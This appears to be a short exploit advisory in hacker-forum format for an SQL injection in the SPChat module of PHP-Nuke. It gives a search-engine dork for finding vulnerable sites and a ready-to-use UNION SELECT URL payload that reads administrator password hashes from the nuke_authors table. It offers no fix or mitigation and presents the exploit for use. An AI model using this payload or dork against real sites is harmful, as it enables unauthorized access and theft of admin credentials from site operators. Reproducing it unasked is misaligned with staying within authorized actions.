PHP-Nuke module(SPChat) SQL Injection Vuln

[Ras]

## Owner : Pr0T3cT10n 
## Email : [email]Pr0T3cT10n@Gmail.Com[/email] 
## Homepage : [url]www.kamikaz-team.com[/url] 
## Script site : [url]http://www.phpnuke.org[/url] 
## Script download : [url]http://www.spchat.org/modules.php?name=Downloads&d_op=getit&lid=19[/url] 
## Script name : PHP-Nuke module(SPChat) 
## Version : All 
## Type : SQL Injection 
## D0rk : inurl:name=SPChat 

## Description : 
    ## Pull out user details from the database 

## Vuln : 
    ## [url]http://www.example.com/modules.php?op=modload&name=SPChat&file=chooser&youruid=[/url][SQL Injection] 
    ## [url]http://www.example.com/modules.php?op=modload&name=SPChat&file=chooser&youruid=0+UNION+SELECT+pwd,2,3,4,5,6,7,8+FROM+nuke_authors+LIMIT+0,1[/url] 

## NOTE : 
    ## You need to be a regular user 

## Thanks to some friend of mine..